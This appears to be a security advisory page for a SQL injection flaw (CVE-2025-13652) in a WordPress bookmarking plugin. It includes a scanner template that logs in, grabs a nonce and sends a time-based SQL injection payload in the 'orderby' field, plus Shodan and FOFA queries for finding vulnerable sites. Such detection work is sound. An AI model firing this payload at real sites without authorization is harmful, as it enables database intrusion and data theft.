WordPress CBX Bookmark & Favorite Plugin <= 2.0.4 - SQL Injection
CVE-2025-13652
Verified
Description
CBX Bookmark & Favorite WordPress plugin <= 2.0.4 contains a SQL injection caused by insufficient escaping of the 'orderby' parameter, letting authenticated attackers with Subscriber-level access extract sensitive database information
Severity
Critical
CVSS Score
9.1
Exploit Probability
6%
Affected Product
cbx-bookmark-favorite
Published Date
April 10, 2026
Template Author
neosmith1
CVE-2025-13652.yaml
id: CVE-2025-13652
info:
name: WordPress CBX Bookmark & Favorite Plugin <= 2.0.4 - SQL Injection
author: neosmith1
severity: critical
description: |
CBX Bookmark & Favorite WordPress plugin <= 2.0.4 contains a SQL injection caused by insufficient escaping of the 'orderby' parameter, letting authenticated attackers with Subscriber-level access extract sensitive database information
impact: |
Authenticated attackers can extract sensitive database information, potentially compromising user data confidentiality.
remediation: |
Update to a version later than 2.0.4 or the latest available version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-13652
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cbxwpbookmark/cbx-bookmark-favorite-204-authenticated-subscriber-sql-injection
- https://plugins.trac.wordpress.org/changeset/3276203/cbxwpbookmark
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 9.1
cve-id: CVE-2025-13652
cwe-id: CWE-89
epss-score: 0.0626
epss-percentile: 0.91019
metadata:
verified: true
max-request: 3
vendor: codeboxr
product: cbx-bookmark-favorite
fofa-query: body="cbxwpbookmark"
shodan-query: http.html:"cbxwpbookmark"
tags: cve,cve2025,wp-plugin,sqli,wordpress,cbxwpbookmark,authenticated,wp
variables:
username: "{{username}}"
password: "{{password}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1
extractors:
- type: regex
name: wp_cookie
group: 1
regex:
- '(wordpress_logged_in[^;\r\n]+)'
part: header
internal: true
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: {{wp_cookie}}
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'var\s+cbxwpbookmark\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-z0-9]+)"'
part: body
internal: true
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "cbxwpbookmark")
- nonce != ""
condition: and
internal: true
- raw:
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: {{wp_cookie}}
action=cbx_bookmark_loadmore&security={{nonce}}&limit=10&offset=0&userid=1&orderby=(SELECT+1+FROM+(SELECT+SLEEP(6))x)&order=DESC
matchers:
- type: dsl
dsl:
- duration >= 6
- status_code == 200
condition: and
# digest: 490a0046304402201d4a29ea44290e02ac9d1a6e4733723d98a0983166ea31aa53c3acdf05278405022034484109ed1d3a2bb01819d50e30e965a58a9e8d31e206f145629515ddd399a2:922c64590222798bb761d5b6d8e729509.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2025-13652
CWE ID:
cwe-89
Remediation Steps
Update to a version later than 2.0.4 or the latest available version.